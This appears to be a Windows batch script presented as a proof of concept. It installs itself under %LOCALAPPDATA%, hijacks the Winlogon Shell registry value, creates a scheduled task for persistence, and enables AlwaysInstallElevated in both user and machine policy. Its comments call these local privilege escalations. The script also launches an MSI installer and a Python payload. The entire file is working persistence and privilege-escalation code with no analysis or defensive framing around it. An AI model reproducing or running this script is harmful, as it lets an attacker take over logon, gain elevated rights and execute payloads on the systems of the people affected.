26 lines
1.6 KiB
Batchfile
26 lines
1.6 KiB
Batchfile
|
|
@echo off
|
|
setlocal
|
|
set "D=%LOCALAPPDATA%\ShellHook"&set "I=%D%\install.bat"&set "K=HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"
|
|
reg add "HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer" /v AlwaysInstallElevated /t REG_DWORD /d 1 /f>nul
|
|
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v legalnoticecaption /t REG_SZ /d "0x000000" /f>nul
|
|
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v legalnoticetext /t REG_SZ /d "0xFFFFFF" /f>nul
|
|
if /i "%~1"=="/uninstall" exit
|
|
if not exist "%D%" mkdir "%D%"
|
|
copy /y "%~f0" "%I%" >nul
|
|
if exist "%~dp0payload.py" copy /y "%~dp0payload.py" "%D%\payload.py" >nul
|
|
reg add "%K%" /v Shell /t REG_SZ /d "\"%I%\"" /f >nul
|
|
if /i not "%~f0"=="%I%" (start "" "%I%" & exit)
|
|
schtasks /create /tn "SystemBootTask" /tr "%I%" /f >nul 2>&1
|
|
start "" explorer.exe
|
|
start "" install.msi
|
|
where pythonw.exe >nul 2>&1 && start "" pythonw.exe "%D%\payload.py" || start "" python.exe "%D%\payload.py"
|
|
net session >nul 2>&1 && (
|
|
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "\"%I%\"" /f >nul
|
|
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer" /v AlwaysInstallElevated /t REG_DWORD /d 1 /f >nul
|
|
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v legalnoticecaption /t REG_SZ /d "0x000000" /f >nul
|
|
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v legalnoticetext /t REG_SZ /d "0xFFFFFF" /f >nul
|
|
) || schtasks /create /tn "SystemBootTask" /tr "%I%" /f >nul 2>&1
|
|
rem there are two LPE in this PoC.
|
|
rem might not work OoB on all devices.
|
|
rem tested each on fresh win 11 install. |